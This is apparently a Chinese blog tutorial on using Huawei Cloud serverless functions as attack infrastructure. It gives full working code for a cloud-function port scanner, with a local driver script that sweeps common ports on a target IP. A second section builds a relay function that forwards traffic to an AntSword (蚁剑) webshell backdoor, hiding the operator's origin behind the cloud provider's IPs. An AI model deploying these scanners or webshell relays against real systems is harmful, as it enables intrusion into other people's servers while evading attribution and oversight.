从0到1创建华为云函数API调用
前言
因为网上很多云函数文章都是写的腾讯云api网关调用的,但是他已经下架了,故此简单了研究出华为云函数然后创建和使用
介绍
云函数(Serverless Cloud Function, SCF)是为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件。
云函数功能特性:
- 代码管理
- 支持多开发环境
- 自动伸缩
- 事件触发
- 监控和日志
以函数为扩展单位,虚拟化运行时环境(Runtime) ,是现有计算资源的最小单位,具有完全自动、一键部署、高度可扩展等
使用云函数时,您只需使用平台支持的语言(Python、 Node.js、 PHP、Golang、 Java及CustomRuntime)编写代码。而云平台将完全管理底层计算资源,包括服务器CPU、内存、网络和其他配置/资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等。
Serverless帮助用户脱离繁冗的开发配置工作,只需关注业务代码逻辑的编写,不用任何的基础设施建设、管理与运维开销。该服务模式降低了研发]槛,提升业务构建效率,获得了大量企业和开发者的支持。
执行方法
执行方法:对应项目的主函数,是程序执行的起点。 在调用云函数时,首先会寻找执行方法作为入口,执行用户的代码。用户需以文件名.执行方法名的形式进行设置。
用户设置的执行方法为index.handler,则SCF平台会首先寻找代码程序包中的index文件,并找到该文件中的handler方法开始执行。
如何使用云函数创建扫描器
第一步注册账户点击同一身份认证
第二步点击用户创建用户
第三步填写好用户名密码,其他默认一直点就行
第四步点击用户组-》用户组管理(这里IAM用户组和admin用户组都行,添加到IAM组最好,为了方便添加到admin用户组)
第五步搜索函数工作流
第六步进入之后点击创建函数
第七步创建空白函数-》事件函数-》选择自己的语言
第八步简单修改一下代码然后部署上去
注意一个坑
Python代码的话,要执行的函数一定要和执行函数入口格式一样
格式为:文件名.函数名
对应的函数执行入口
第九步创建触发器
设置-》触发器-》创建触发器
第十步创建分组
简单做个备注分组就行
最后点击确认
第十一步
这样就算注册成功了,复制对应函数调用API
第十二步
因为接口做了鉴权处理所以直接去请求是无法请求的
所以需要通过https://iam.myhuaweicloud.com/v3/auth/tokens?nocatalog=true接口去获取IAM的token
案例请求包如下
POST /v3/auth/tokens?nocatalog=true HTTP/1.1
Host: iam.myhuaweicloud.com
Content-Length: 539
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Microsoft Edge";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://iam.myhuaweicloud.com
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://iam.myhuaweicloud.com/v3/auth/tokens?nocatalog=true
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close
{
"auth": {
"identity": {
"methods": [
"password"
],
"password": {
"user": {
"domain": {
"name": "这里填写主用户名称"
},
"name": "这里填写IAM用户名称",
"password": "这里填写IAM用户密码"
}
}
},
"scope": {
"project": {
"name": "cn-east-3"
}
}
}
,"d4a6oj6o74r":"="}
X-Subject-Token对应的值就是x-auth-token
第十三步
通过添加x-auth-token再去请求就行了
这里附带上一个用于测试端口扫描脚本用于测试
云函数代码index.py如下
# -*- coding: utf8 -*-
from socket import *
def handler(event, context):
# 使用 get 方法来安全地访问字典中的键
query_params = event.get("queryStringParameters", {})
IP = query_params.get("ip")
port = query_params.get("port")
# 检查 IP 和 port 是否存在
if not IP or not port:
return {
"statusCode": 400,
"isBase64Encoded": False,
"headers": {"Content-Type": "application/json"},
"body": "Missing 'ip' or 'port' in query parameters"
}
try:
conn = socket(AF_INET, SOCK_STREAM)
res = conn.connect_ex((str(IP), int(port)))
conn.send('Hello, World!'.encode("utf8"))
results = conn.recv(25)
if res == 0:
conn.close()
return {
"statusCode": 200,
"isBase64Encoded": False,
"headers": {"Content-Type": "application/json"},
"body": str(port)
}
except Exception as err:
print(err)
return {
"statusCode": 500,
"isBase64Encoded": False,
"headers": {"Content-Type": "application/json"},
"body": str(err)
}
finally:
print("")
conn.close()
return {
"statusCode": 400,
"isBase64Encoded": False,
"headers": {"Content-Type": "application/json"},
"body": "Port is closed or unreachable"
}
可以通过浏览器去调用调用方式为get传参?ip=id地址&port=端口号,假如成功访问则返回对应的端口号
也可以通过代码调用
本地运行调用脚本如下
#!/usr/bin/env python
# encoding: utf-8
'''
@author: hlllll
@File: PortScan hw.py
@Time: 2024/9/1 14:00
'''
import grequests
import requests
# 获取token
def get_auth_token():
url = "https://iam.myhuaweicloud.com/v3/auth/tokens?nocatalog=true"
headers = {
"Content-Type": "application/json"
}
payload = {
"auth": {
"identity": {
"methods": ["password"],
"password": {
"user": {
"domain": {"name": "这里填写主用户名称"},
"name": "这里填写IAM用户名称",
"password": "这里填写IAM用户密码"
}
}
},
"scope": {
"project": {"name": "cn-east-3"}
}
}
}
response = requests.post(url, json=payload, headers=headers)
if response.status_code == 201:
# Extract the token from the response headers
return response.headers.get("X-Subject-Token")
else:
print("Failed to get auth token")
return None
def main():
serverless = ["云函数API网关调用地址"]
resp, num = [], 0
port_one = [22, 53, 80, 81, 82, 83, 111, 9096, 9291, 9080, 6379, 5900, 9090, 443]
port_two = [8088, 8080, 4566, 6666, 10001, 2443, 3306, 3389, 7001, 9099, 135, 23]
# Get the token
token = get_auth_token()
if not token:
return
# Define request headers with the token
headers = {"x-auth-token": token}
try:
ip = input("Please Input IP Address:")
print("")
for server in serverless:
num += 1
port_list = port_one if num == 1 else port_two
for port in port_list:
serverless_one = f"{server}?ip={ip}&port={port}"
resp.append(grequests.get(
serverless_one,
timeout=10, # 增加超时时间
headers=headers
))
res_list = grequests.map(resp, exception_handler=exception_handler)
for port, res in zip(port_list, res_list):
if res and res.status_code == 200 and res.text != "null" and res.text.find("errorCode") == -1:
print(f'[+]{port}/tcp OPEN')
elif res and "FSS.4010" in res.text:
print(f'{port} timeout 3s') # 匹配 FSS.4010 超时错误
elif res is None or res.status_code != 200:
print(f'[-] {port}/tcp Request failed or returned None')
except Exception as err:
print(err)
pass
def exception_handler(request, exception):
print(f"Request failed: {exception}")
if __name__ == '__main__':
main()
大概效果就是这样的,非常的nice
最后再附带上一个云函数扫描器实现代码的仓库,但是该仓库都是对应腾讯云的,现在腾讯云歇逼了,所以需要改了后才能食用
https://github.com/wikiZ/ServerlessScan
云函数webshell上线
第一步
一样的操作创建函数
第二步填入代码并部署
代码如下
import requests
import json
import base64
def geturl(urlstr):
try:
# 尝试从 JSON 字符串中解析 URL 参数
dict_url = json.loads(json.dumps(urlstr))
# 获取 'u' 参数
return dict_url.get('u', '')
except Exception as e:
# 返回空字符串并打印错误以进行调试
print(f"Error parsing URL: {e}")
return ''
def handler(event, context):
# 访问正确的查询参数
query_params = event.get('queryStringParameters', {})
url = geturl(query_params)
# 检查 URL 是否正确获取
if not url:
return {
"isBase64Encoded": False,
"statusCode": 400,
"headers": {'Content-Type': 'application/json'},
"body": json.dumps({"error": "URL parameter 'u' is missing or invalid"})
}
postdata = event.get('body', '') # 如果 'body' 为 None,则返回空字符串
headers = event.get('headers', {}) # 如果 'headers' 为 None,则返回空字典
# 确保 postdata 是一个字符串,并尝试进行 base64 解码
if isinstance(postdata, str):
try:
postdata = base64.b64decode(postdata).decode('utf-8') # 解码 base64 并转换为字符串
except Exception as e:
return {
"isBase64Encoded": False,
"statusCode": 400,
"headers": {'Content-Type': 'application/json'},
"body": json.dumps({"error": f"Failed to decode body: {str(e)}"})
}
try:
# 发送请求到目标 URL
resp = requests.post(url, data=postdata, headers=headers, verify=False)
response = {
"isBase64Encoded": False,
"statusCode": 200,
"headers": {'Content-Type': 'text/html;charset=ascii'},
"body": resp.text
}
return response
except Exception as e:
return {
"isBase64Encoded": False,
"statusCode": 500,
"headers": {'Content-Type': 'application/json'},
"body": json.dumps({"error": str(e)})
}
第三步创建触发器
第四步复制接口
第五步【详细过程请看创建函数第十二步】
在请求认证地址获取到token
需要通过https://iam.myhuaweicloud.com/v3/auth/tokens?nocatalog=true接口去获取IAM的token
案例请求包如下
POST /v3/auth/tokens?nocatalog=true HTTP/1.1
Host: iam.myhuaweicloud.com
Content-Length: 539
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: "Chromium";v="128", "Not;A=Brand";v="24", "Microsoft Edge";v="128"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://iam.myhuaweicloud.com
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://iam.myhuaweicloud.com/v3/auth/tokens?nocatalog=true
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Sec-Fetch-User: ?1
Priority: u=0, i
Connection: close
{
"auth": {
"identity": {
"methods": [
"password"
],
"password": {
"user": {
"domain": {
"name": "这里填写主用户名称"
},
"name": "这里填写IAM用户名称",
"password": "这里填写IAM用户密码"
}
}
},
"scope": {
"project": {
"name": "cn-east-3"
}
}
}
,"d4a6oj6o74r":"="}
第六步输入接口地址通过get传参?u=蚁剑后门地址
填写一个请求头的
x-auth-token值就是认证信息的X-Subject-Token的值
第七步
成功连接
本文章更多是用于记录配置云函数踩坑实录,因为华为云网上文章太少了,更多只能翻看官方文档解决
https://github.com/wikiZ/ServerlessScan